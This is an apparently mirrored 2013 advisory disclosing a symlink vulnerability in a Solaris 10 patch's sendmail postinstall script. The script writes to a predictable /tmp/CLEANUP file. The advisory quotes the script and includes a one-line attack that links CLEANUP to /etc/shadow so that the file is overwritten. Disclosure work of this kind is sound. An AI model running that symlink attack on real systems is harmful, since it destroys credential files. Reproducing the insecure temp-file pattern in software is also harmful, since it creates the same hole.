File clobbering vulnerability in Solaris 10 patch cluster 3/27/2013 Larry W. Cashdollar @_larry0 Hello, The 147147-26 patch creates a CLEANUP file in /tmp that is vulnerable to symlink attacks: The contents of the file created in /tmp are: /sbin/sh:root@dev-unix-sec02# cat CLEANUP EXISTING_FILE_PRESERVED: /var/run/.patchSafeMode/root/etc/security/audit_event /var/run/.patchSafeMode/root/etc/security/audit_event.new EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/sendmail.cf /var/run/.patchSafeMode/root/etc/mail/sendmail.cf.old EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/submit.cf /var/run/.patchSafeMode/root/etc/mail/submit.cf.old Sendmail has been upgraded to version 8.14.5 . After you reboot, you may want to run /usr/sbin/check-hostname and /usr/sbin/check-permissions ALL These two shell-scripts will check for common mis-configurations and recommend corrective action, or report if things are OK. -rw-r--r-- 1 root other 662 Mar 27 13:03 CLEANUP The vulnerable code can be found in ./SUNWsndmu/install/postinstall: 540 CLEANUP=/tmp/CLEANUP 541 542 if [ "x$UPDATE" = xyes ]; then 543 VERSION=`grep '^DZ' $PKG_INSTALL_ROOT/etc/mail/sendmail.cf | \ 544 sed -e s/DZ//` 545 echo "\nSendmail has been upgraded to version $VERSION ." >>$CLE ANUP 546 echo "After you reboot, you may want to run" >>$CLEANUP 547 echo "\t/usr/sbin/check-hostname" >>$CLEANUP 548 echo "and" >>$CLEANUP 549 echo "\t/usr/sbin/check-permissions ALL" >>$CLEANUP 550 echo "These two shell-scripts will check for common" >>$CLEANUP 551 echo "misconfigurations and recommend corrective" >>$CLEANUP 552 echo "action, or report if things are OK.\n" >>$CLEANUP 553 fi A simple attack in /tmp can clobber /etc/shadow: [/tmp $] ln -s /etc/shadow CLEANUP Will over write the contents of /etc/shadow. Oracle has been notified 3/27/2013 and they are working on a fix. # Iranian Exploit DataBase = http://IeDb.Ir [2013-06-25]